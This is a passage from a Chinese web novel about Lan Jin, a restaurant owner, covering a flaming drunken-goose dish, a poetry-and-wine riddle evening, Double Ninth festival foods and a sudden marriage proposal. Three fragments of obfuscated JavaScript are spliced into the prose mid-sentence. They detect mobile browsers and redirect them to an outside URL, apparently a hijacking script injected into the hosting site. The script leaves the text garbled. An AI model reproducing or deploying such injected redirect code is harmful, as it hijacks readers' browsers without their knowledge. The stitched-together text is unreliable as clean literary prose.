“霍娘子常说，‘夫礼之初，始诸饮食’，师太追求的道，亦在其中呀。” “若是天下人都晓得了这本食经，咸蒙其惠，怎么不算师太的大功德？” 妙清当即拍板：“我写了！” 蓝锦笑得愈发开怀，二人用罢一餐饭，相携去了后厨。 罗厨娘正在腌小菜，面前一大盆一大盆，有萝卜粒，酸豆角，梅干菜，腌青瓜丝，腌木瓜丝，腌雪里蕻，腌梅菜。 还有花花绿绿的，是卷心菜丝拌上胡萝卜丝、芹菜丁，叫盐杀过水，爽口又酸脆。 刚出锅的腌芥菜疙瘩，褐红咸亮。妙清当即指着大呼：“把馒头一掰两半，中间夹上一大筷子这个丝，吃来千金不换！” 这都是平民的智慧，贱价菜也能做出好味道。 蓝锦和罗大娘笑着打了个招呼，夹了一点梅菜小粒来尝，评价道：“咸里带着一点特别的甜，鲜美得很，是那个味道。” 又跟妙清解释：“用砂锅，使一种叫啫啫的做法，不放水，焗那嫩菜心粒，可好吃得不得了不得了！是汪厨子家乡的特色。” “见着这菜可是大幸运，原是一个被流放又经了大赦的乡民一路背回来的。” 妙清饶有兴味地听着：“可见这地阔天长的，每个村落都有些不为人知的美味。” 蓝锦已经围上了围裙：“正该叫师太一一写下，叫吃不上的人也过个眼瘾才好。” 手下已经利落地把一只大鹅“批大郤，导大窾”地剁成小块。 此前腌制的腐乳和南乳派上了用场。各放了点在碗中，还倒了点南乳汁子。糖、味极鲜、芝麻酱和干螺干贝粉都一块搅进去。 这道菜也是一样炒干水汽再炖入味的做法，其实很简单。 蓝锦起锅加油，直把鹅肉块炒得干干的，直到鹅皮鹅肉边缘变得焦黄，每一块都裹上了透亮的油脂，就盛出来。 再把铁锅爆香，鹅肉往锅中一放，那炒勺把调好的腌料酱汁都倒进去。 蓝锦开始颠锅，鹅肉块上下翻滚，每一块焦黄的鹅肉都裹上了绯红浓稠的酱料。 看着火候差不多了，蓝锦把米酒咕嘟咕嘟地全倒进去，给锅留着缝，把锅盖一盖。 她叫罗大娘和妙清往后退，往锅盖周边倒上一圈米酒，“唰”地一下，鹅肉锅上窜起来赤红的火焰。 妙清一拍大腿：“哎呀，怪道说叫‘火焰醉’，形象，贴切！” 蓝锦笑眯眯地：“这个应景，祝咱们的生意红红火火。” 她耐心地等着舔舐铁锅的火苗燃烧殆尽，知道它没了燃料，才拿着手巾把锅盖掀起来。 米酒的酒精没了，香味却执着地留了下来，和鹅肉相交相缠。蓝锦故意不去看妙清的馋相。 再把些寻常的炖肉香料下进去，额外放几块冰糖。蓝锦把盖子一盖，继续焖上一会。 待她把这盆火焰醉烧鹅端去前厅，客人们沸腾了。 28. 蓝记诗酒会 正是望日，蓝锦看着流水一样搬进酒楼的酒坛子，长睫扑闪，心下有了好几个主意。 开张那日的火焰醉烧鹅，到底没能让妙清和她独享。大厅的客人团团围过来，这个叫匀一点，那个叫再来一份。 实是那米酒香气太特别，勾人肚腹里的馋虫。一盆酱香浓郁的醉鹅不多时就给人夹完了。 当日蓝记酒楼的火焰醉鹅订单量飙升，几乎到了每个厢房人手一份的地步。 得亏新上任的采购团长纪大带着他一帮徒子徒孙们，在城里四处趸摸，没叫一只鹅活着走出昭应城。 自此蓝锦就多了一个称号：“酒香娘子”。 蓝锦琢磨着，既然白担着名儿，不如就借这东风，把名号落落实。 更惊喜的是，纪大乐滋滋地回来，言说蓝记饮食店常光顾的捕鱼老丈那里，网到了几尾鲜活的鲈鱼和鳜鱼。 秋风起，张公都要兴莼鲈之思。为着菰菜和鲈鱼脍，官也不做了，只管归乡。 她若是不抓住这时令的尾巴，岂不是辜负了这水中风情。 对这好吃又风雅的典故，有源远流长的几派。有说菰菜是茭白的，有说是一种好吃的粮食——菰米饭，也有一派，认定这是鲜美的地皮菜（1）。 要蓝锦来说，她都爱。 若是按张爱玲的人生三大恨事来说，一恨是鲫鱼多刺，那四恨倒是地皮多沙！ 这种长在沙石苔土上的小小菌菇，有着淡淡的山野气，咬起来如雨打苔藓，有种咯吱咯吱的胶质感。 后世常有饭馆拿它来炒鸡蛋，谷氨酸和菌菇类的鲜味相互映衬，舒服得叫吃客觉得心尖痒酥酥地滴起了春雨。 怪道说有地方管这种菜叫“情人的眼泪”。 倒是莼菜汤，虽也拥有一大批拥趸。可是叫蓝锦看来，滑腻腻地掺在清水汤里，色香味中色之一道就有负盛名。 或许真是如某些人讲的，只是误蹭上了这名典的顺风车，才提升了身价（2）。 两种同样颇具盛名的鱼，弹跳着尾巴。 蓝锦并不打算做茹毛饮血之派，还是热热地蒸上，切打卷儿的葱丝，青红椒丝，淋一圈褐色的酱油，哗啦啦地泼上热油。 趣欲其鲜，味欲其真。有时简单的烹饪才能衬出最多的鲜味。 鱼是从背上开的口，很威武雄壮地趴在细长的白鱼盘上。 鱼盘子上被蓝锦写了两个字：“馋猫”。 客人看了直笑：“好促狭！可是，某愿来小娘子家馋鱼吃，做猫儿也使得。” 蓝记酒楼“望日诗酒会”的招牌摆上了，蓝锦待在柜台后面候着。果然有几个熟面孔兴致高昂，迈着四方步进了门。 “蓝老板，今日又有新花头？这诗酒会小娘子参不参加？” 蓝锦笑眯了眼：“郎君喝一杯烧刀子，我吃一片酱牛肉，我们争做一对酒肉朋友。” 来客皆哄然大笑，各自入了座。 悟雅奉上签筒，已有客人心生退意：“莫不是看谁抽到了几杯，就要饮几杯？我不来我不来，只吃小娘子家的剁椒鱼头和酒心桂花团，过过嘴瘾罢了！” 蓝锦含笑解释：“没有这样粗放。这里有两种选择，客人抽了签子。这种签子上有两个词，猜中谜底，就跟找到盆底藏的东西似的，是射中了覆。” “另一个更简便，若答不上射覆令，抽得一个主题，念一句诗。或背或作，我也不管什么格律对仗，只消合乎主题便好。” 丁四穿着伙计的统一短打，手脚利索地给每位客人面前奉上酒菜。 有温热的黄酒，配了白切羊肉。又有娴雅的桂花酿，配了菊花糕、牛舌酥。发酵得宜的好花雕，配了煎鲈鱼。 亦浓亦淡，全凭客人选择。 只是那奔放大胆、袒胸露背的烧刀子，被蓝锦示意，放在了那追着问小娘子参不参加诗酒会的士子面前。 若说其他酒是酒中君子，风雅有余，胆气不足；那么烧刀子就是直白赤诚的关中大汉，一路烧着人的心肝肺。 那人倒一击掌：“还有那好味酱牛肉，小娘子可不能全昧下独享。” 蓝锦笑盈盈地给他上了一大盘：“客人别吃得太多，当心酒都喝不下一口啦。” 那客人和友人插科打诨：“老板看不上我的水平哩。” 锣鼓声一敲，蓝记酒楼第一届望日诗酒会拉开帷幕。 第一位客人把手伸向了射覆令的签筒，拈出一支一看：“包，田。” 他摸不着头脑，这却是什么套路？ 蓝锦笑道：“我没有什么藏钩射覆之才，胡乱玩着罢了，客人只往简单的想。” 倒是他邻座的士子猜中了：“这包么，就是荷包；田嘛，便是‘莲叶何田田’。” 抽中签子的客人只嘟囔：“这个何，也不是那个荷嘛。” 蓝锦笑容不减：“莲叶便也是荷叶呀。” 士子只道：“正是这么说。小娘子爱乐府诗，也是温柔敦厚之人！” 当即夺了朋友的杯子，替他罚酒，痛饮一大白：“好酒，好酒！小娘子好眼光，楼内物什样样精致。” 蓝锦笑呵呵道：“只是附庸风雅，我这开酒楼的，最爱的还是孔方兄呀。” 悟雅手下的锣鼓轻击，诗酒会的花签筒又热热闹闹地转了起来。 鼓声一停，又有人抽中了一签，口中念念有词：“凤，水。” 他顺着蓝锦的发散思路略一琢磨，当即把签子还给丁四，答道：“是琴字，对也不对？” 另有一疏朗的娘子抢先答道：“古琴一曲凤求凰，高山流水觅知音，好生风流雅致！” 蓝锦笑兮兮地说：“诸君都是我蓝锦肚子里的蛔虫——不，还是叫知己好听些。” 鼓声隆隆地继续，又一男客抽中了一支签子，口中念到：“归，梁。” 他隐约能猜到所射是何种之覆，只是为人古板。心下想着，如此大剌剌地说出来，会不会不太庄重，有所冒犯？ 有一唇红齿白的郎君正从外间绕进来，收起油纸伞，脚步款款，一副在此地家常惯了的样子。 “燕燕于飞，之子于归；愿如梁上燕，岁岁常相见。是‘燕’字。” 蓝锦心不在焉，一下子没能反应过来，只顾着想：这小人鱼莫不是水里生的？怎么到了下雨天，鞋袜衣袂都不会沾湿，不见狼狈？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103671|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 水汽氤氲的，倒衬得他越发面润如玉了。 倒是那位古板男客朗声道：“郎君好见地，我理该自罚。”当即满饮一大杯桂花酿。 放下瓷杯，不住称赞：“清香盈齿，甘甜醇厚。小娘子择酒之才，更胜诗才。” 蓝锦这才反应过来，复向萧仁禹甜甜一笑，遥敬一杯酒。 萧仁禹信手取来伙计托着的酒盅，指尖微挑，低头轻啜，像只仙鹤成了精。 似乎是酒气使然，映得他越发面若桃李。 蓝锦潇洒慨然，把酒杯一放，诗酒会又隆隆隆地继续下去。 接下来的客人，有的避开了射覆令的花签，直接抽了飞花令。 抽到了“酒”做诗眼，当即击节放声： “黄金白璧买歌笑，一醉累月轻王侯。” 是李白赠元参军的诗。少年人意气轻狂，黄金白璧也不怜惜半分。歌月舞风，醉倒席上，公侯伯爵又何曾放在眼里？ 只是她家可是开酒楼的，饮食酒水那就是给自家送钱来呀。蓝锦可是喜出望外，此风一出，就当是助我生意兴隆了。 于是蓝锦向这位疏狂的小郎君报以雷鸣般的掌声，不吝奉上最捧场的赞美。 几番笑闹，宾主尽欢。 有客人醉眼朦胧地探问：“小娘子的覆射令这样简单，个个都教旁人猜中了，莫不是骗骗我们多买些酒吧？” 蓝锦笑得狡黠：“这位客官，我家诗酒会上的酒钱随缘。只是你我之缘不能太浅，得深了又深，重了又重的才好哇。” 客人哈哈大笑，为之绝倒。 还有客偏要打包一份酒心桂花糕，缠得丁四无法，只喃喃道： “今日实在是沽清了，这点心还得提前发酵，工序恁地复杂，一时半刻做不出的。客人，明日再来罢！” 客人不干，仍是一味地歪缠。 丁四灵机一动：“我们这还有小娘子亲自做的酒酿米糕，上头也点了桂花蜜的，客官要不要来一份？” “这是从我们自家员工餐的份子里匀出来的，再多可没有了。” 客人疑道：“真是蓝小娘子亲做的？” 丁四：“真真的，我们员工餐，每日总有蓝小娘子的手艺。” 客人颇觉心里不平：“你们倒是好口福。都说蓝小娘子定了什么流水规程，千人做来都是一个味道，可还是她做的最是那个味道！” 丁四嘿嘿陪笑，心里只道：这怕就是小娘子说的，吃的就是个情怀，那种客人吧。 当下甜言蜜语，哄得客人心甘情愿地用两倍的市价买了这一份珍贵的桂花蜜酒酿米糕。 丁四一直给人送出了大门外：“您慢走！哎，小心脚滑。明日一早就给您备上酒心桂花糕诶~” 不得不说，蓝记酒楼上下，现已尽得蓝锦真传。 别管食材多么普通价贱，到了这里，都能翻出花样，身价倍增，还叫客人乐呵呵地走出这个门。 蓝锦把算盘珠拨得飞快，客人只见她翩飞的手指游来游去。 她招呼完最后一位诗酒会的熟客，扭头一看。 还有个修长的竹子精，杵在那里当门神。 29. 重阳要外食 萧仁禹一向沉默寡言，蓝锦说十句，倒才见他说一句。 今天他倒出人意料地做了个碎嘴子：“时下的少年人，个个大放情怀，任达不拘，好不轻狂！” 蓝锦抿着嘴儿笑，心道，你才听了多久，就有此论。还有，你不也是少年人吗？ 萧仁禹此来并不是为眼红人家的少年肆意，而是厚了脸皮，来约蓝锦重阳秋游、登高祈福的。 “小娘子知晓，我孑然一身，重阳无人相伴。看在我也为赢来酒楼出了力的份上，带我了解一下昭应佳节风俗吧。” 蓝锦叫他可怜巴巴的样子逗得扑哧一笑，说道：“不等你来讨这个债，我也要去谢你的。正巧，不若我设下重阳宴，偌大酒楼只请你萧大公子一人。” 萧仁禹在心里扶额，真是三句不离酒楼的小娘子。 “小娘子也忙了许久，前些时日那样凶险。不若重阳那日，歇了业，我们一起去登高望远。” “听说城中都没什么人，全都会去郊外游玩，就算开门，也赚不到什么。” 蓝锦听了，心念一动，开心道：“那我便提前售卖些好携带的干果肉脯、蜜饯糕饼、卤味冷羹，一准是个大商机。” 说罢就从袖子里掏出一个袖珍的小算盘，噼噼啪啪地打将起来，去计算各色待选品的成本营收。 专注地算了一会，猛地抬头：“哎呀，玉佛娘子家的酒水，最好也上些应季的新品，就是不知来不来得及。” “我看看，酿些日子浅、不易醉人的菊花饮，秋梨酿，葡萄醴……” 如是话匣子大开，盘算了半天才结束。蓝锦狐疑地一瞥萧仁禹： “你不是说不知道昭应习俗嘛？连人人出城你都知晓！” 萧仁禹正趴在柜台上吃一块酸甜话梅糕，闻言一哽，叫点心渣子呛得，咳得面色愈发白里透红。 他信手往蓝锦手中塞了一枚佛手柑，意在堵住她的嘴。 “哎呀，这可不要吃，是做香薰用的，天然果香，可贵呐。” 蓝锦劈手把萧仁禹拿的另一枚佛手柑也夺回去，珍惜地擦了擦，生怕蹭破一块油皮，原样放回高几上的青玉盘里。 萧仁禹：“……” 不管怎么说，话题是岔开去了。 蓝锦的重阳外食时令菜色，就摆在酒楼的大堂正中。 这里原有一片错落有致的假山，其下流水淙淙，还有一些青翠的盆栽。 在假山石上，叫贪玩的小秋挂了几枚风铃。其下泉水叮咚，其上风铃摇曳，有几分人间小仙境的感觉。 果然有客人来问：“小娘子，这限时小摊作何解？” 蓝锦笑道：“每个时令节日之前，蓝记酒楼都会摆上应季应时的菜色点心，样样有折扣，您只管记得来光顾就是了。限时的噢。” 重阳节的摊子上，林林总总放了菊花豆腐脑、红糖糍粑、栗子炖鸡、枣子糕、菊花糕……还有打包好的攒盒点心，数不胜数。 一大块从圆盆中倒扣出来的糯米饭，花花绿绿，糯香清雅。不消吃，只闻一下，就像嘴里含了一片玉兰花似的。 客人家的孩童饶有兴致地凑过来，转着圈儿一直问：“老板姐姐，菊花灯影又是什么意思？” 蓝锦耐心答道：“拿纸剪成菊花的样子，或是镂空灯笼，或是花鸟鱼虫，或是动物脑袋，或是对对人偶。” “就像那个皮影戏一般，把它放在这排金花灯笼前面，映在这张白幕上，灯影绰绰，好不优雅。” 见她一示范，果真有庄雅的节庆氛围。 客人说：“好有趣的主意，我也来试试。” 蓝锦赶紧笑着把各色彩纸和剪刀递给人家，又把掺了菊花香露、菊花花瓣的蜡烛多点几排在灯笼里。 点点烛光摇曳，花气袭人，味道清凉幽雅，颇有重阳节气氛。 这个蜡烛是蓝锦带着小秋，和店里的伙计一起做的。她意外地发现，丁四倒是很擅长手工。 别看他看起来粗枝大叶的，其实心思灵巧。 悄没声地雕了一只小狗脸的造型，拿起一看，神态竟然是自家的卷毛小白狗。 罗大娘趁势问蓝锦：“娘子，咱们家中的小狗也很该起个名字，总叫她‘狗’。跟来蹭吃喝的流浪狗，都分不清是在叫谁了。” 蓝锦脑瓜一转，灵机一动：“不如就叫她‘酒钱’吧。” 店里的伙计一愣，都哄堂大笑。 罗大娘也在笑眯眯地说：“小娘子，这名字促狭。只是会不会市侩了一些？” 蓝锦摇头道：“怎么会？这小狗这么爱招惹客人，该叫她‘酒钱’才好。” “这样啊，我训斥她回来，只要大呼‘酒钱’，‘酒钱’，人家要是觉得有趣有缘，少不得还多结一些酒钱呐。” “若是让她刚巧扑到爱她的客人面前，那不正好愿意多出一些，谁让这是‘酒钱找上门，财源滚滚来’。” 话虽这么说，蓝锦却也很注意酒钱的卫生情况，拦住她，等闲不让她在楼里乱窜。 现下，酒钱正被一个相熟的客人捉在怀里，握着她的小嘴：“这下咬不着我的衣襟了啊。” 酒钱像听得懂似的，口中呜呜讨饶。 这位雪肤蛾眉的小娘子也是一个爱宠之人。她自家有一只白色的波斯猫，知晓了酒钱的名字，直说： “酒钱啊酒钱，可别再找上我的门了。我近来在你们家花的可够多了啊。” 又说：“可不能在我身上乱蹭，等我回去，家里那只小猫儿要生我的气。”但是手下却不放，仍是抱着它笑。 蓝锦也欢喜这位爱小酌，爱吃肉，爱吃甜食的美丽女娘，这会儿正跟她絮絮养宠经。 美丽女娘还道：“老板家的这只小酒钱，真是让人爱不够。是很稀有的品种吧，县城等闲没见过。莫不是天都来的？” 蓝锦哪里清楚，她还不知自己的身世是不是个大雷，故而不去碰一丝一毫。 这会儿，一只狸花条纹的流浪猫走进来，罗大娘赶紧引到后厨，口中道： “不是，小祖宗，怎么总是爱走前门进来，不是和你说了吗？后门留了饭的。这是酒楼啊，客人也要吃饭的。” 狸花猫胸前一撮白毛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110162|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威风凛凛地不管她，只埋头吃自己的小鱼干。 蓝锦一脸怜爱地看着猫：“猫咪都是主子。你也想正经当个客人，是不是？”一只羊也是赶，两只羊也是放，她索性都任劳任怨地养了吧。 如是风平浪静，岁月静好地到了重阳节。 蓝锦刚收拾完东西，拎着三大包吃喝之物。一出门，就看到辆马车，金碧辉煌，流光溢彩。 站在旁边的人，不正是小人鱼？蓝锦惊讶道：“我们萧大公子又去哪里发财了？这么大的手笔。” 萧仁禹不去理她的揶揄，继续彬彬有礼地接过她手中的包裹，小心地扶她上了车。 等二人在车上坐定，萧仁禹一五一十地与蓝锦说安排：“今日我们先去城外翠屏山登高，晚间便去娘娘庙妙清师太那，凑一凑游园会的热闹，好不好？” 游园会还是蓝锦的提议，言说佛门经营，也一定要抓住节庆经济。 没看到后世里除了调休个没完的假日，都是为了消费而诞生的节庆。什么女神节、双十一、双十二…… 等蓝锦到了娘娘庙所在的翠屏山，已经能听到鼎沸的人声了。 蓝锦把寻常人家盖房子用的油布铺在地上，盖上一层云纹绒毯，开始往外拿带的东西。 有叫风吹了好几天的牛肉干，不同批次有不同湿度和软硬度。口味也不一样。 有孜然香的，麻辣味的，咸甜味的。咬得咯牙的，软软润润的，任君选择。 此外还有烘烤过的大腰果，全楼齐上阵剥的松仁米，拿糖渍过了的酸梅子。 再有山楂糕、炸甜果子、山楂酪、枣花酥、莲子百合糕，尽数放在一个朱红镂花八宝攒盘里。 蓝锦还拿出来一小罐咸渍柠檬干。这个刚做出来的时候，叫嘴急的悟雅吃了一大口，皱着眉叫道：“苦得咂舌！” 蓝锦忙慌慌地去给她找水喝，一副无奈的样子：“这是泡水喝的诶。” 哎，孩子大了，养起来就是有各式各样的烦恼。 蓝锦拈出一块酸梅子来吃，喝上一口咸柠水，四下打量，见旁人带的大多都是自家出的重阳食物。 经过这些日子，城里形成一种风尚和记忆。只要是快过节了，就能去蓝记寻寻节庆好食，有折扣哒！ 除了限时小摊里的东西，还有些目前不好批量做的食物。就比如咸柠茶，这下就只能让她独自享受了，这便是自己做酒楼老板的好处。 今天日头好，秋风温柔中只带了一丝爽意，既没有夏日里的燥热，又没有冬日里的肃杀。 蓝锦与萧仁禹凭高远眺，恣意惬然，相谈甚欢。 话题已经转到了各地的酒水。萧仁禹倒是侃侃：“中原的酒厚归厚，可总有一股子压在胃里的凉意。” “最是塞北的一种除夕酒，香醇得刚好。只因他们物资不丰，拿旧酒兑的新酒，反倒成就了它。” 蓝锦笑眯眯地静听萧仁禹讲，这还是他第一次谈性大发。他还去过蛮多地方的嘛。 她想，比起名不见经传的萧家旁支世家子，兴许他其实更像一个仗剑天涯的燕赵游侠儿吧。 30. 黄金蛋炒饭 蓝锦看着萧仁禹认真的神色，这样的人，更像是大口饮酒，大口吃肉的剑客。 为着一缕春柳色短暂地停驻在了昭应城，来去任心，却也会感到孑然独立的寒冷。 她这样想的，也这样问了。 “我小时即病重，从没人敢让我喝酒。” 蓝锦侧头观察着他的面色，没有继续这个话题。 萧仁禹倒是主动岔开了话题：“我也与小娘子玩个射覆令，可好？” 蓝锦欣然同意，萧仁禹道：“我觉得小娘子像一物。” 蓝锦眉头微蹙：“你才是个物件。” 萧仁禹脸皮薄红：“不，不是这个意思，是一种相似的感觉。” 蓝锦没有跟他继续“人是不是个东西”的掰扯：“你且出一个来听听。” 萧仁禹开口道：“柳，海。” 蓝锦即答：“月在柳树上，也在海面上。月上柳梢头，海上升明月。是月字！” 萧仁禹把一双黑沉的眼眸温情地落在蓝锦身上，半晌才说：“小娘子的光辉，虽然不可攀，不可捉，但也有一丝落到了我的身上。” 须知这几句诗接下来都有些不清不楚的意思。一句是人约黄昏后的引子，一句直白地点明了情人遥夜起相思。 蓝锦心下有些想要逃避，只当听不懂：“做什么这样客气，不过是吃了点我做的饭菜罢了，说得我像神女下凡一样。” 萧仁禹的心中并没有因蓝锦的态度改变分毫，而是换了一个温吞的方式： “说起来，小娘子手中的饭菜，虽然更加精致美味；却也总能让我想到从前，父母还在的时候，他们和我吃的最后一餐饭。” “边关苦寒，物资不丰，买了借住的农家新腌的腊肠，炒了一份蛋炒饭。” 之后他就被送回了京城。 一个被折断了羽翼的、黯然坠落的练武奇才，曾经是不世出的天才又怎样。有谁会在乎他的死活。 折辱，猜疑，戒备，奚落，议论……都是他自己扛下的。 他本以为最多也就不过如此了，然而…… 蓝锦照旧一拍他的肩背：“这却有何难，今晚回家，我就给你炒一份大繁若简、至尊奢华无敌蛋炒饭。” “我跟你说呀，这蛋炒饭非得要用隔夜的米。你们这些不近庖厨的，肯定不知道，黏糊米饭刚进锅里，被水汽抱着，才没办法和蛋融在一起。” “那种先把蛋煎熟、凝固得硬硬的，哪怕再给捣得尽碎，也是不行的。” “非得要把米饭煸炒得干干的，再把蛋液往里一倒，直叫它每一粒米上都包裹上了金银蛋。” “或是还有一种方法，先把一半的蛋液倒进隔夜米里，搅得糊涂涂一片。另一半鸡蛋倒进锅里炒香，再把蛋液米饭一股脑下锅去炒。” “这就是要对颠勺功夫掌握得好，也不知你爱吃什么口感的，我们还是都试试的好。” “其实油好，蛋好，饭好，我还有自酿的好酱油，没有不好吃的。要说起来，我最爱用牛油来炒，牛脂肪本身就一股奶香。” “你要是嫌不鲜美，那就网几只活蹦乱跳的虾，挖了虾膏，虾壳煸出虾油，掺在其中，保管让拍案叫绝。” “炒好了，搁在竹筒子里，金的金，绿的绿。吸油，又带了植物的清香。” “炒饭最好是雨后来炒，那时山里新长了各种蘑菇，鲜灵灵的，最提蛋鲜……” 萧仁禹含笑地听着眼中带光的蓝锦说个不停，只觉一颗心好似泡在温暖的蜜水里，每一寸都缓缓舒展开来。 待到二人赶去娘娘庙这边，已经是傍晚时分。游园会如火如荼，妙清师太盛情邀请他们二人来自己守着的做香囊的摊子。 这香囊用了寺庙里夏日采的荷叶，晒干了，一蜷蜷打着卷。还有供奉佛前的百合花，以及一些安神宁气的药材。 萧仁禹专门挑了一个绣有小鸭子的蓝色香囊，看着功效，精心选了几样香料药材。 自己拈着针线绣好了封口，还配上一跟浅绿色的丝绦。 然后巴巴地递给女主：“听闻连老夫人送给小娘子一个香囊。我虽不是第一个赠你香囊的人，却也是一番真心。” “刚巧佛祖垂眸，让你我有缘在此相遇，小娘子容我借花献佛。” 蓝锦笑着收下了，只说：“无论什么时候，漂亮的东西还免费，那我蓝锦肯定是不会拒绝的。” 夜色昏沉，蓝锦听到烛芯毕剥地爆出来一声小小的响动，干脆伸手拿铜挑子给按灭了。 月色凉，映窗棂，转花影。蓝锦把她可爱的蓝底小鸭子香囊放在枕边，将连老妇人送的香囊收进壁橱里。 没有办法，她喜新厌旧，喜欢新鲜的嘛。 如是，日子好像就这样无井无波地过了下去。 最大的波折也就是柳媒婆的到访。 天还刚蒙蒙亮，等到蓝锦一开酒楼大门，就发现一个陌生妇人在自家门口早早地候着。 柳媒婆一个箭步冲上来，握住她的手：“哎呀，这可不是蓝大掌柜吗？今日正应了那句老话，喜鹊枝头闹，人有喜事到。” “蓝大掌柜，我给你送好消息来了。” 蓝锦奇道：“能有什么好消息？捡钱啦？” “蓝大掌柜真会说笑。有位陆大公子哥，家中可是远近闻名的富绅呐。正想和蓝大掌柜提亲呢。” “他虽不是本城人，家里却有房有地，有祖传的生意，就在万年县。” 又怕蓝锦嫌远：“你放心，在万年县的最南边，跟我们昭应县北边的那些人家，离你这差不多的距离。” 还夸了这家人父母多么勤劳，本分能干，家底殷实。又说这人最是老实孝顺不过，就想着娶一位精干的夫人回去支撑门户。 “只要是一嫁过去，家里一应大小事，都听你的，能做主！叫你管着他咧。” 蓝锦已是见惯了后世相亲的套路，嗤之以鼻。 老实，就说明这个人没有别的可夸了；什么都听你的，就是说家务洒扫、应酬接待、捧巾拾帕、孝敬公婆，全都是你一个人的；管着他？那叫给人家当娘！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112181|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蓝锦眼皮子都不眨，就一口婉拒了。 那媒婆像是看出蓝锦的喜好一般，只跟她说：“不仅是家境殷实，人家本人生得还格外好看呐。不是膀大腰圆的那一种。” “人又白，脸又好，就是活脱脱一个美人胚子。” 蓝锦一边好奇，这媒婆是打哪里看出来自己爱好白富美的？一边却坚决道：“但他可不够富。钱说到底也都是攥在他父母手里的，多少能轮到他手中？” “要我说呀，这个小郎君要是想出人头地，变成真正的富家郎，他就应该自己往外闯闯。在父母势大的地方，能做出什么名堂来。” “他就应该出海，跟条大商队，三五年回来，说不定大赚一笔嘞。” 柳媒婆骂骂咧咧，被蓝锦忽悠得连茶都没喝上一口。手里顺了一袋子话梅糕，到底没有骂出声。 柳媒婆的出现如同湖面投了一颗石子，湖中不觉什么，可观鱼人受了影响。 这天黄昏，蓝锦在自家小院里捯饬着蒸花卤子玩，却见萧仁禹急匆匆地拎着两只大雁，刚从郊外赶回来。 他一见到蓝锦，还不等解释自己为何今日没有去酒楼用饭，就把怀里的一沓地契、刚猎到的一双大雁郑重地递了过来。 长身玉立，深深一揖礼：“这是我在昭应城中所有的地契，全都改了你的名字。” “剩下的都是些银票，不值多少，却也是我目前所有。我萧仁禹想给小娘子提亲，不知道你愿不愿意。” “不管怎么说，请一定要等到我回来，求你万不要应许旁人。我有很急的事情要立刻去处理。等到我回来，一定会跟你说个明白的。” 蓝锦乍然听见这番突然的告白，还有余裕去想：首先像这种立flag的剧情，在古言里不都是见光死吗？主角之一必不会有好下场。 也不知是没有当真多一些，还是出于逃避心理多一些，蓝锦当下就是：当然不愿意。 本想客客气气地拒绝对方，却没想到萧仁禹只一下子把东西放下，就急匆匆地运起轻功，飞檐走壁，一溜烟跑了。 蓝锦有些茫然无措：这是什么情况？给我制造沉默就是默认局？ 还是去隔壁借针线筐的悟雅回来，发现了蓝锦呆呆地盯着一小碟花露，开口问道：“小娘子制成了不尝尝，发什么呆呐？” 蓝锦醒过神来，从头到尾这么一说。 悟雅当即把筐一放，把腰一叉：“这怎么可以？这是不允许的！” “小娘子你年纪小，没经过事。须知这世上佛口舌心的可多了。” “我从前要不是被隔壁婶子用一个窝窝头哄了，也不能上这笑面虎的当，刚没了爹娘，就被远远地卖了。” “有些人最爱盯着独身女娘，看不得她们过得好咧！” “若你的好不是利于他的，他只怕想尽办法制住你，迫你为他所用。” “何况说，哪有人自家上门提亲的？必得是他的父母长辈才行。” 蓝锦倒是想起来了，插了一句：“好像是说他父母亡故了的样子。” 31. 蓝记桂花酿 悟雅一副“咱俩也没涉足过情感话题，你不是那种他其实对我挺好的、背刺闺蜜的人吧”的表情看着她。 恨铁不成钢地说道：“那也不行！必须是媒妁之言，八抬大轿，明媒正娶。” “他家乡何处？祖上做何营生？谁知道是不是哪个地方逃命来的亡命之徒，要把你哄去替他蹲大牢也说不定的！或是抢去寨子里做压寨夫人！” 悟雅把一双杏眼瞪得恶狠狠的，只求把年纪小的蓝小娘子吓晕。 见蓝锦还是笑盈盈的，甚至有些慈爱地看着她，悟雅继续加码： “这说白了就叫私奔啊！新娘子家也没有个长辈，他家长辈也不在，谁来主持？你们拜天地时都没个拜处，总不能拜我跟小秋吧！” 蓝锦哭笑不得：“这都哪跟哪呀？我并没有理会他。我们也绝对不会举行婚礼的。” 悟雅这才放下心，夸道：“小娘子做得对！这种人就该给他远远地打出去。往常看着还人模人样的，谁知道这么狼心狗肺，不着四六。” 蓝锦倒真没受到什么影响。主要因为她还没有真心把自己当作古代人，心中飘摇不安，从未想过在异世与旁人有多余的牵绊。 若说哪一点因此变化了，那就是蓝锦再不愿随意欣赏人家俊美小郎君了。少不得要叫人误会。 哎，这就是看美人的代价啊。 蓝锦的癖好是白富美，好些貌美小郎君常来用饭，但就不够富，勉勉强强看一看过个眼瘾吧。 说笑罢了，实是情感债太重了！ 食色性也，她化悲痛为食欲吧！ 